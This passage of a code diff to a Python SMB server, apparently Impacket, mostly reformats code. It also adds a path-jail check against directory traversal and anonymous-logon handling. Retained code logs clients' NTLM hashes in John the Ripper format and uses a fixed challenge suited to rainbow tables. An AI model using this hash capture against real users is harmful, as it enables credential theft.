authenticated successfully (basic)' % ( + sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])) try: jtr_dump_path = smbServer.getJTRdumpPath() - ntlm_hash_data = outputToJohnFormat( b'', b(sessionSetupData['Account']), b(sessionSetupData['PrimaryDomain']), sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'] ) + ntlm_hash_data = outputToJohnFormat(b'', b(sessionSetupData['Account']), + b(sessionSetupData['PrimaryDomain']), sessionSetupData['AnsiPwd'], + sessionSetupData['UnicodePwd']) smbServer.log(ntlm_hash_data['hash_string']) if jtr_dump_path != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], jtr_dump_path) except: smbServer.log("Could not write NTLM Hashes to the specified JTR_Dump_Path %s" % jtr_dump_path) - respData['NativeOS'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS()) + respData['NativeOS'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS()) respData['NativeLanMan'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS()) respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True # For now, just switching to nobody - #os.setregid(65534,65534) - #os.setreuid(65534,65534) + # os.setregid(65534,65534) + # os.setreuid(65534,65534) smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @staticmethod - def smbComNegotiate(connId, smbServer, SMBCommand, recvPacket ): - connData = smbServer.getConnectionData(connId, checkStatus = False) + def smbComNegotiate(connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId, checkStatus=False) connData['Pid'] = recvPacket['Pid'] SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) - + resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp['Pid'] = connData['Pid'] @@ -2532,108 +2682,107 @@ def smbComNegotiate(connId, smbServer, SMBCommand, recvPacket ): # TODO: We support more dialects, and parse them accordingly dialects = SMBCommand['Data'].split(b'\x02') - try: - index = dialects.index(b'NT LM 0.12\x00') - 1 - # Let's fill the data for NTLM - if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY: - resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_UNICODE - #resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS - _dialects_data = smb.SMBExtended_Security_Data() - _dialects_data['ServerGUID'] = b'A'*16 - blob = SPNEGO_NegTokenInit() - blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] - _dialects_data['SecurityBlob'] = blob.getData() - - _dialects_parameters = smb.SMBExtended_Security_Parameters() - _dialects_parameters['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS | smb.SMB.CAP_NT_SMBS | smb.SMB.CAP_UNICODE - _dialects_parameters['ChallengeLength'] = 0 - - else: - resp['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_UNICODE - _dialects_parameters = smb.SMBNTLMDialect_Parameters() - _dialects_data= smb.SMBNTLMDialect_Data() - _dialects_data['Payload'] = '' - if 'EncryptionKey' in connData: - _dialects_data['Challenge'] = connData['EncryptionKey'] - _dialects_parameters['ChallengeLength'] = len(_dialects_data.getData()) - else: - # TODO: Handle random challenges, now one that can be used with rainbow tables - _dialects_data['Challenge'] = b'\x11\x22\x33\x44\x55\x66\x77\x88' - _dialects_parameters['ChallengeLength'] = 8 - _dialects_parameters['Capabilities'] = smb.SMB.CAP_USE_NT_ERRORS | smb.SMB.CAP_NT_SMBS - - # Let's see if we need to support RPC_REMOTE_APIS - config = smbServer.getServerConfig() - if config.has_option('global','rpc_apis'): - if config.getboolean('global', 'rpc_apis') is True: - _dialects_parameters['Capabilities'] |= smb.SMB.CAP_RPC_REMOTE_APIS - - _dialects_parameters['DialectIndex'] = index - #_dialects_parameters['SecurityMode'] = smb.SMB.SECURITY_AUTH_ENCRYPTED | smb.SMB.SECURITY_SHARE_USER | smb.SMB.SECURITY_SIGNATURES_REQUIRED - _dialects_parameters['SecurityMode'] = smb.SMB.SECURITY_AUTH_ENCRYPTED | smb.SMB.SECURITY_SHARE_USER - _dialects_parameters['MaxMpxCount'] = 1 - _dialects_parameters['MaxNumberVcs'] = 1 - _dialects_parameters['MaxBufferSize'] = 64000 - _dialects_parameters['MaxRawSize'] = 65536 - _dialects_parameters['SessionKey'] = 0 - _dialects_parameters['LowDateTime'] = 0 - _dialects_parameters['HighDateTime'] = 0 - _dialects_parameters['ServerTimeZone'] = 0 - - - respSMBCommand['Data'] = _dialects_data - respSMBCommand['Parameters'] = _dialects_parameters - connData['_dialects_data'] = _dialects_data - connData['_dialects_parameters'] = _dialects_parameters + try: + index = dialects.index(b'NT LM 0.12\x00') - 1 + # Let's fill the data for NTLM + if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY: + resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_UNICODE + # resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS + _dialects_data = smb.SMBExtended_Security_Data() + _dialects_data['ServerGUID'] = b'A' * 16 + blob = SPNEGO_NegTokenInit() + blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] + _dialects_data['SecurityBlob'] = blob.getData() + + _dialects_parameters = smb.SMBExtended_Security_Parameters() + _dialects_parameters[ + 'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS | smb.SMB.CAP_NT_SMBS | smb.SMB.CAP_UNICODE + _dialects_parameters['ChallengeLength'] = 0 + + else: + resp['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_UNICODE + _dialects_parameters = smb.SMBNTLMDialect_Parameters() + _dialects_data = smb.SMBNTLMDialect_Data() + _dialects_data['Payload'] = '' + if 'EncryptionKey' in connData: + _dialects_data['Challenge'] = connData['EncryptionKey'] + _dialects_parameters['ChallengeLength'] = len(_dialects_data.getData()) + else: + # TODO: Handle random challenges, now one that can be used with rainbow tables + _dialects_data['Challenge'] = b'\x11\x22\x33\x44\x55\x66\x77\x88' + _dialects_parameters['ChallengeLength'] = 8 + _dialects_parameters['Capabilities'] = smb.SMB.CAP_USE_NT_ERRORS | smb.SMB.CAP_NT_SMBS + + # Let's see if we need to support RPC_REMOTE_APIS + config = smbServer.getServerConfig() + if config.has_option('global', 'rpc_apis'): + if config.getboolean('global', 'rpc_apis') is True: + _dialects_parameters['Capabilities'] |= smb.SMB.CAP_RPC_REMOTE_APIS + + _dialects_parameters['DialectIndex'] = index + # _dialects_parameters['SecurityMode'] = smb.SMB.SECURITY_AUTH_ENCRYPTED | smb.SMB.SECURITY_SHARE_USER | smb.SMB.SECURITY_SIGNATURES_REQUIRED + _dialects_parameters['SecurityMode'] = smb.SMB.SECURITY_AUTH_ENCRYPTED | smb.SMB.SECURITY_SHARE_USER + _dialects_parameters['MaxMpxCount'] = 1 + _dialects_parameters['MaxNumberVcs'] = 1 + _dialects_parameters['MaxBufferSize'] = 64000 + _dialects_parameters['MaxRawSize'] = 65536 + _dialects_parameters['SessionKey'] = 0 + _dialects_parameters['LowDateTime'] = 0 + _dialects_parameters['HighDateTime'] = 0 + _dialects_parameters['ServerTimeZone'] = 0 + + respSMBCommand['Data'] = _dialects_data + respSMBCommand['Parameters'] = _dialects_parameters + connData['_dialects_data'] = _dialects_data + connData['_dialects_parameters'] = _dialects_parameters except Exception as e: - # No NTLM throw an error - smbServer.log('smbComNegotiate: %s' % e, logging.ERROR) - respSMBCommand['Data'] = struct.pack('> 16 - packet['ErrorClass'] = errorCode & 0xff + packet['ErrorCode'] = errorCode >> 16 + packet['ErrorClass'] = errorCode & 0xff return None, [packet], errorCode + class SMB2Commands: @staticmethod - def smb2Negotiate(connId, smbServer, recvPacket, isSMB1 = False): - connData = smbServer.getConnectionData(connId, checkStatus = False) + def smb2Negotiate(connId, smbServer, recvPacket, isSMB1=False): + connData = smbServer.getConnectionData(connId, checkStatus=False) respPacket = smb2.SMB2Packet() - respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR - respPacket['Status'] = STATUS_SUCCESS + respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR + respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 - respPacket['Command'] = smb2.SMB2_NEGOTIATE + respPacket['Command'] = smb2.SMB2_NEGOTIATE respPacket['SessionID'] = 0 if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: respPacket['MessageID'] = 0 - respPacket['TreeID'] = 0 - + respPacket['TreeID'] = 0 respSMBCommand = smb2.SMB2Negotiate_Response() @@ -2641,7 +2790,7 @@ def smb2Negotiate(connId, smbServer, recvPacket, isSMB1 = False): if isSMB1 is True: # Let's first parse the packet to see if the client supports SMB2 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) - + dialects = SMBCommand['Data'].split(b'\x02') if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: respSMBCommand['DialectRevision'] = smb2.SMB2_DIALECT_002 @@ -2650,7 +2799,7 @@ def smb2Negotiate(connId, smbServer, recvPacket, isSMB1 = False): raise Exception('SMB2 not supported, fallbacking') else: respSMBCommand['DialectRevision'] = smb2.SMB2_DIALECT_002 - respSMBCommand['ServerGuid'] = b'A'*16 + respSMBCommand['ServerGuid'] = b'A' * 16 respSMBCommand['Capabilities'] = 0 respSMBCommand['MaxTransactSize'] = 65536 respSMBCommand['MaxReadSize'] = 65536 @@ -2665,7 +2814,7 @@ def smb2Negotiate(connId, smbServer, recvPacket, isSMB1 = False): respSMBCommand['Buffer'] = blob.getData() respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) - respPacket['Data'] = respSMBCommand + respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) @@ -2673,7 +2822,7 @@ def smb2Negotiate(connId, smbServer, recvPacket, isSMB1 = False): @staticmethod def smb2SessionSetup(connId, smbServer, recvPacket): - connData = smbServer.getConnectionData(connId, checkStatus = False) + connData = smbServer.getConnectionData(connId, checkStatus=False) respSMBCommand = smb2.SMB2SessionSetup_Response() @@ -2684,41 +2833,41 @@ def smb2SessionSetup(connId, smbServer, recvPacket): securityBlob = sessionSetupData['Buffer'] rawNTLM = False - if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID: - # NEGOTIATE packet - blob = SPNEGO_NegTokenInit(securityBlob) - token = blob['MechToken'] - if len(blob['MechTypes'][0]) > 0: - # Is this GSSAPI NTLM or something else we don't support? - mechType = blob['MechTypes'][0] - if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']: - # Nope, do we know it? - if mechType in MechTypes: - mechStr = MechTypes[mechType] - else: - mechStr = hexlify(mechType) - smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) - # We don't know the token, we answer back again saying - # we just support NTLM. - # ToDo: Build this into a SPNEGO_NegTokenResp() - respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' - respSMBCommand['SecurityBufferOffset'] = 0x48 - respSMBCommand['SecurityBufferLength'] = len(respToken) - respSMBCommand['Buffer'] = respToken - - return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED - elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: - # AUTH packet - blob = SPNEGO_NegTokenResp(securityBlob) - token = blob['ResponseToken'] + if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID: + # NEGOTIATE packet + blob = SPNEGO_NegTokenInit(securityBlob) + token = blob['MechToken'] + if len(blob['MechTypes'][0]) > 0: + # Is this GSSAPI NTLM or something else we don't support? + mechType = blob['MechTypes'][0] + if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']: + # Nope, do we know it? + if mechType in MechTypes: + mechStr = MechTypes[mechType] + else: + mechStr = hexlify(mechType) + smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) + # We don't know the token, we answer back again saying + # we just support NTLM. + # ToDo: Build this into a SPNEGO_NegTokenResp() + respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' + respSMBCommand['SecurityBufferOffset'] = 0x48 + respSMBCommand['SecurityBufferLength'] = len(respToken) + respSMBCommand['Buffer'] = respToken + + return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED + elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: + # AUTH packet + blob = SPNEGO_NegTokenResp(securityBlob) + token = blob['ResponseToken'] else: - # No GSSAPI stuff, raw NTLMSSP - rawNTLM = True - token = securityBlob + # No GSSAPI stuff, raw NTLMSSP + rawNTLM = True + token = securityBlob - # Here we only handle NTLMSSP, depending on what stage of the + # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it - messageType = struct.unpack(' 0: - isGuest = False identity = authenticateMessage['user_name'].decode('utf-16le').lower() # Do we have this user's credentials? if identity in smbServer.getCredentials(): @@ -2820,8 +2976,15 @@ def smb2SessionSetup(connId, smbServer, recvPacket): errorCode = STATUS_LOGON_FAILURE else: # No credentials provided, let's grant access - isGuest = True - errorCode = STATUS_SUCCESS + if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_ANONYMOUS: + isAnonymus = True + if smbServer._SMBSERVER__anonymousLogon == False: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + else: + isGuest = True + errorCode = STATUS_SUCCESS if errorCode == STATUS_SUCCESS: connData['Authenticated'] = True @@ -2829,7 +2992,8 @@ def smb2SessionSetup(connId, smbServer, recvPacket): # accept-completed respToken['NegState'] = b'\x00' smbServer.log('User %s\\%s authenticated successfully' % ( - authenticateMessage['host_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) + authenticateMessage['host_name'].decode('utf-16le'), + authenticateMessage['user_name'].decode('utf-16le'))) # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage try: @@ -2847,6 +3011,8 @@ def smb2SessionSetup(connId, smbServer, recvPacket): if isGuest: respSMBCommand['SessionFlags'] = 1 + elif isAnonymus: + respSMBCommand['SessionFlags'] = 2 else: respToken = SPNEGO_NegTokenResp() @@ -2862,8 +3028,8 @@ def smb2SessionSetup(connId, smbServer, recvPacket): # From now on, the client can ask for other commands connData['Authenticated'] = True # For now, just switching to nobody - #os.setregid(65534,65534) - #os.setreuid(65534,65534) + # os.setregid(65534,65534) + # os.setreuid(65534,65534) smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -2873,16 +3039,16 @@ def smb2TreeConnect(connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) respPacket = smb2.SMB2Packet() - respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR - respPacket['Status'] = STATUS_SUCCESS + respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR + respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 - respPacket['Command'] = recvPacket['Command'] + respPacket['Command'] = recvPacket['Command'] respPacket['SessionID'] = connData['Uid'] - respPacket['Reserved'] = recvPacket['Reserved'] + respPacket['Reserved'] = recvPacket['Reserved'] respPacket['MessageID'] = recvPacket['MessageID'] - respPacket['TreeID'] = recvPacket['TreeID'] + respPacket['TreeID'] = recvPacket['TreeID'] - respSMBCommand = smb2.SMB2TreeConnect_Response() + respSMBCommand = smb2.SMB2TreeConnect_Response() treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) @@ -2902,13 +3068,13 @@ def smb2TreeConnect(connId, smbServer, recvPacket): if share is not None: # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: - tid = 1 + tid = 1 else: - tid = list(connData['ConnectedShares'].keys())[-1] + 1 + tid = list(connData['ConnectedShares'].keys())[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['shareName'] = path - respPacket['TreeID'] = tid - smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + respPacket['TreeID'] = tid + smbServer.log("Connecting Share(%d:%s)" % (tid, path)) else: smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) errorCode = STATUS_OBJECT_PATH_NOT_FOUND @@ -2938,104 +3104,107 @@ def smb2TreeConnect(connId, smbServer, recvPacket): def smb2Create(connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb2.SMB2Create_Response() + respSMBCommand = smb2.SMB2Create_Response() - ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) + ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) respSMBCommand['Buffer'] = b'\x00' # Get the Tid associated if recvPacket['TreeID'] in connData['ConnectedShares']: - # If we have a rootFid, the path is relative to that fid - errorCode = STATUS_SUCCESS - if 'path' in connData['ConnectedShares'][recvPacket['TreeID']]: - path = connData['ConnectedShares'][recvPacket['TreeID']]['path'] - else: - path = 'NONE' - errorCode = STATUS_ACCESS_DENIED - - deleteOnClose = False - - fileName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) - if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'): - # strip leading '/' - fileName = fileName[1:] - pathName = os.path.join(path,fileName) - createDisposition = ntCreateRequest['CreateDisposition'] - mode = 0 - - if createDisposition == smb2.FILE_SUPERSEDE: - mode |= os.O_TRUNC | os.O_CREAT - elif createDisposition & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: - mode |= os.O_TRUNC | os.O_CREAT - elif createDisposition & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: - if os.path.exists(pathName) is True: - mode |= os.O_TRUNC - else: - errorCode = STATUS_NO_SUCH_FILE - elif createDisposition & smb2.FILE_OPEN_IF == smb2.FILE_OPEN_IF: - if os.path.exists(pathName) is True: - mode |= os.O_TRUNC - else: - mode |= os.O_TRUNC | os.O_CREAT - elif createDisposition & smb2.FILE_CREATE == smb2.FILE_CREATE: - if os.path.exists(pathName) is True: - errorCode = STATUS_OBJECT_NAME_COLLISION - else: - mode |= os.O_CREAT - elif createDisposition & smb2.FILE_OPEN == smb2.FILE_OPEN: - if os.path.exists(pathName) is not True and (str(pathName) in smbServer.getRegisteredNamedPipes()) is not True: - errorCode = STATUS_NO_SUCH_FILE - - if errorCode == STATUS_SUCCESS: - desiredAccess = ntCreateRequest['DesiredAccess'] - if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ): - mode |= os.O_RDONLY - if (desiredAccess & smb2.FILE_WRITE_DATA) or (desiredAccess & smb2.GENERIC_WRITE): - if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ): - mode |= os.O_RDWR #| os.O_APPEND - else: - mode |= os.O_WRONLY #| os.O_APPEND - if desiredAccess & smb2.GENERIC_ALL: - mode |= os.O_RDWR #| os.O_APPEND - - createOptions = ntCreateRequest['CreateOptions'] - if mode & os.O_CREAT == os.O_CREAT: - if createOptions & smb2.FILE_DIRECTORY_FILE == smb2.FILE_DIRECTORY_FILE: - try: - # Let's create the directory - os.mkdir(pathName) - mode = os.O_RDONLY - except Exception as e: - smbServer.log("SMB2_CREATE: %s,%s,%s" % (pathName,mode,e),logging.ERROR) - errorCode = STATUS_ACCESS_DENIED - if createOptions & smb2.FILE_NON_DIRECTORY_FILE == smb2.FILE_NON_DIRECTORY_FILE: - # If the file being opened is a directory, the server MUST fail the request with - # STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server - # response. - if os.path.isdir(pathName) is True: + # If we have a rootFid, the path is relative to that fid + errorCode = STATUS_SUCCESS + if 'path' in connData['ConnectedShares'][recvPacket['TreeID']]: + path = connData['ConnectedShares'][recvPacket['TreeID']]['path'] + else: + path = 'NONE' + errorCode = STATUS_ACCESS_DENIED + + deleteOnClose = False + + fileName = normalize_path(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le')) + + if not isInFileJail(path, fileName): + LOG.error("Path not in current working directory") + return [smb2.SMB2Error()], None, STATUS_OBJECT_PATH_SYNTAX_BAD + + pathName = os.path.join(path, fileName) + createDisposition = ntCreateRequest['CreateDisposition'] + mode = 0 + + if createDisposition == smb2.FILE_SUPERSEDE: + mode |= os.O_TRUNC | os.O_CREAT + elif createDisposition & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: + mode |= os.O_TRUNC | os.O_CREAT + elif createDisposition & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: + if os.path.exists(pathName) is True: + mode |= os.O_TRUNC + else: + errorCode = STATUS_NO_SUCH_FILE + elif createDisposition & smb2.FILE_OPEN_IF == smb2.FILE_OPEN_IF: + if os.path.exists(pathName) is True: + mode |= os.O_TRUNC + else: + mode |= os.O_TRUNC | os.O_CREAT + elif createDisposition & smb2.FILE_CREATE == smb2.FILE_CREATE: + if os.path.exists(pathName) is True: + errorCode = STATUS_OBJECT_NAME_COLLISION + else: + mode |= os.O_CREAT + elif createDisposition & smb2.FILE_OPEN == smb2.FILE_OPEN: + if os.path.exists(pathName) is not True and ( + str(pathName) in smbServer.getRegisteredNamedPipes()) is not True: + errorCode = STATUS_NO_SUCH_FILE + + if errorCode == STATUS_SUCCESS: + desiredAccess = ntCreateRequest['DesiredAccess'] + if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ): + mode |= os.O_RDONLY + if (desiredAccess & smb2.FILE_WRITE_DATA) or (desiredAccess & smb2.GENERIC_WRITE): + if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ): + mode |= os.O_RDWR # | os.O_APPEND + else: + mode |= os.O_WRONLY # | os.O_APPEND + if desiredAccess & smb2.GENERIC_ALL: + mode |= os.O_RDWR # | os.O_APPEND + + createOptions = ntCreateRequest['CreateOptions'] + if mode & os.O_CREAT == os.O_CREAT: + if createOptions & smb2.FILE_DIRECTORY_FILE == smb2.FILE_DIRECTORY_FILE: + try: + # Let's create the directory + os.mkdir(pathName) + mode = os.O_RDONLY + except Exception as e: + smbServer.log("SMB2_CREATE: %s,%s,%s" % (pathName, mode, e), logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + if createOptions & smb2.FILE_NON_DIRECTORY_FILE == smb2.FILE_NON_DIRECTORY_FILE: + # If the file being opened is a directory, the server MUST fail the request with + # STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server + # response. + if os.path.isdir(pathName) is True: errorCode = STATUS_FILE_IS_A_DIRECTORY - if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: - deleteOnClose = True - - if errorCode == STATUS_SUCCESS: - try: - if os.path.isdir(pathName) and sys.platform == 'win32': + if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: + deleteOnClose = True + + if errorCode == STATUS_SUCCESS: + try: + if os.path.isdir(pathName) and sys.platform == 'win32': fid = VOID_FILE_DESCRIPTOR - else: + else: if sys.platform == 'win32': - mode |= os.O_BINARY + mode |= os.O_BINARY if str(pathName) in smbServer.getRegisteredNamedPipes(): fid = PIPE_FILE_DESCRIPTOR sock = socket.socket() sock.connect(smbServer.getRegisteredNamedPipes()[str(pathName)]) else: fid = os.open(pathName, mode) - except Exception as e: - smbServer.log("SMB2_CREATE: %s,%s,%s" % (pathName,mode,e),logging.ERROR) - #print e - fid = 0 - errorCode = STATUS_ACCESS_DENIED + except Exception as e: + smbServer.log("SMB2_CREATE: %s,%s,%s" % (pathName, mode, e), logging.ERROR) + # print e + fid = 0 + errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SMB_BAD_TID @@ -3047,12 +3216,12 @@ def smb2Create(connId, smbServer, recvPacket): respSMBCommand['CreateAction'] = createDisposition if fid == PIPE_FILE_DESCRIPTOR: - respSMBCommand['CreationTime'] = 0 + respSMBCommand['CreationTime'] = 0 respSMBCommand['LastAccessTime'] = 0 - respSMBCommand['LastWriteTime'] = 0 - respSMBCommand['ChangeTime'] = 0 + respSMBCommand['LastWriteTime'] = 0 + respSMBCommand['ChangeTime'] = 0 respSMBCommand['AllocationSize'] = 4096 - respSMBCommand['EndOfFile'] = 0 + respSMBCommand['EndOfFile'] = 0 respSMBCommand['FileAttributes'] = 0x80 else: @@ -3061,15 +3230,15 @@ def smb2Create(connId, smbServer, recvPacket): else: respSMBCommand['FileAttributes'] = ntCreateRequest['FileAttributes'] # Let's get this file's information - respInfo, errorCode = queryPathInformation('',pathName,level= smb.SMB_QUERY_FILE_ALL_INFO) + respInfo, errorCode = queryPathInformation(path, fileName, level=smb.SMB_QUERY_FILE_ALL_INFO) if errorCode == STATUS_SUCCESS: - respSMBCommand['CreationTime'] = respInfo['CreationTime'] + respSMBCommand['CreationTime'] = respInfo['CreationTime'] respSMBCommand['LastAccessTime'] = respInfo['LastAccessTime'] - respSMBCommand['LastWriteTime'] = respInfo['LastWriteTime'] + respSMBCommand['LastWriteTime'] = respInfo['LastWriteTime'] respSMBCommand['LastChangeTime'] = respInfo['LastChangeTime'] respSMBCommand['FileAttributes'] = respInfo['ExtFileAttributes'] respSMBCommand['AllocationSize'] = respInfo['AllocationSize'] - respSMBCommand['EndOfFile'] = respInfo['EndOfFile'] + respSMBCommand['EndOfFile'] = respInfo['EndOfFile'] if errorCode == STATUS_SUCCESS: # Let's store the fid for the connection @@ -3077,15 +3246,15 @@ def smb2Create(connId, smbServer, recvPacket): connData['OpenedFiles'][fakefid] = {} connData['OpenedFiles'][fakefid]['FileHandle'] = fid connData['OpenedFiles'][fakefid]['FileName'] = pathName - connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose - connData['OpenedFiles'][fakefid]['Open'] = {} + connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose + connData['OpenedFiles'][fakefid]['Open'] = {} connData['OpenedFiles'][fakefid]['Open']['EnumerationLocation'] = 0 connData['OpenedFiles'][fakefid]['Open']['EnumerationSearchPattern'] = '' if fid == PIPE_FILE_DESCRIPTOR: connData['OpenedFiles'][fakefid]['Socket'] = sock else: respSMBCommand = smb2.SMB2Error() - + if errorCode == STATUS_SUCCESS: connData['LastRequest']['SMB2_CREATE'] = respSMBCommand smbServer.setConnectionData(connId, connData) @@ -3096,58 +3265,63 @@ def smb2Create(connId, smbServer, recvPacket): def smb2Close(connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb2.SMB2Close_Response() + respSMBCommand = smb2.SMB2Close_Response() closeRequest = smb2.SMB2Close(recvPacket['Data']) - if closeRequest['FileID'].getData() == b'\xff'*16: + if closeRequest['FileID'].getData() == b'\xff' * 16: # Let's take the data from the lastRequest - if 'SMB2_CREATE' in connData['LastRequest']: + if 'SMB2_CREATE' in connData['LastRequest']: fileID = connData['LastRequest']['SMB2_CREATE']['FileID'] else: fileID = closeRequest['FileID'].getData() else: fileID = closeRequest['FileID'].getData() - if fileID in connData['OpenedFiles']: - errorCode = STATUS_SUCCESS - fileHandle = connData['OpenedFiles'][fileID]['FileHandle'] - pathName = connData['OpenedFiles'][fileID]['FileName'] - infoRecord = None - try: - if fileHandle == PIPE_FILE_DESCRIPTOR: - connData['OpenedFiles'][fileID]['Socket'].close() - elif fileHandle != VOID_FILE_DESCRIPTOR: - os.close(fileHandle) - infoRecord, errorCode = queryFileInformation(os.path.dirname(pathName), os.path.basename(pathName), smb2.SMB2_FILE_NETWORK_OPEN_INFO) - except Exception as e: - smbServer.log("SMB2_CLOSE %s" % e, logging.ERROR) - errorCode = STATUS_INVALID_HANDLE - else: - # Check if the file was marked for removal - if connData['OpenedFiles'][fileID]['DeleteOnClose'] is True: - try: - if os.path.isdir(pathName): - shutil.rmtree(connData['OpenedFiles'][fileID]['FileName']) - else: - os.remove(connData['OpenedFiles'][fileID]['FileName']) - except Exception as e: - smbServer.log("SMB2_CLOSE %s" % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED - - # Now fill out the response - if infoRecord is not None: - respSMBCommand['CreationTime'] = infoRecord['CreationTime'] - respSMBCommand['LastAccessTime'] = infoRecord['LastAccessTime'] - respSMBCommand['LastWriteTime'] = infoRecord['LastWriteTime'] - respSMBCommand['ChangeTime'] = infoRecord['ChangeTime'] - respSMBCommand['AllocationSize'] = infoRecord['AllocationSize'] - respSMBCommand['EndofFile'] = infoRecord['EndOfFile'] - respSMBCommand['FileAttributes'] = infoRecord['FileAttributes'] - if errorCode == STATUS_SUCCESS: - del(connData['OpenedFiles'][fileID]) + # Get the Tid associated + if recvPacket['TreeID'] in connData['ConnectedShares']: + if fileID in connData['OpenedFiles']: + errorCode = STATUS_SUCCESS + fileHandle = connData['OpenedFiles'][fileID]['FileHandle'] + pathName = connData['OpenedFiles'][fileID]['FileName'] + infoRecord = None + try: + if fileHandle == PIPE_FILE_DESCRIPTOR: + connData['OpenedFiles'][fileID]['Socket'].close() + elif fileHandle != VOID_FILE_DESCRIPTOR: 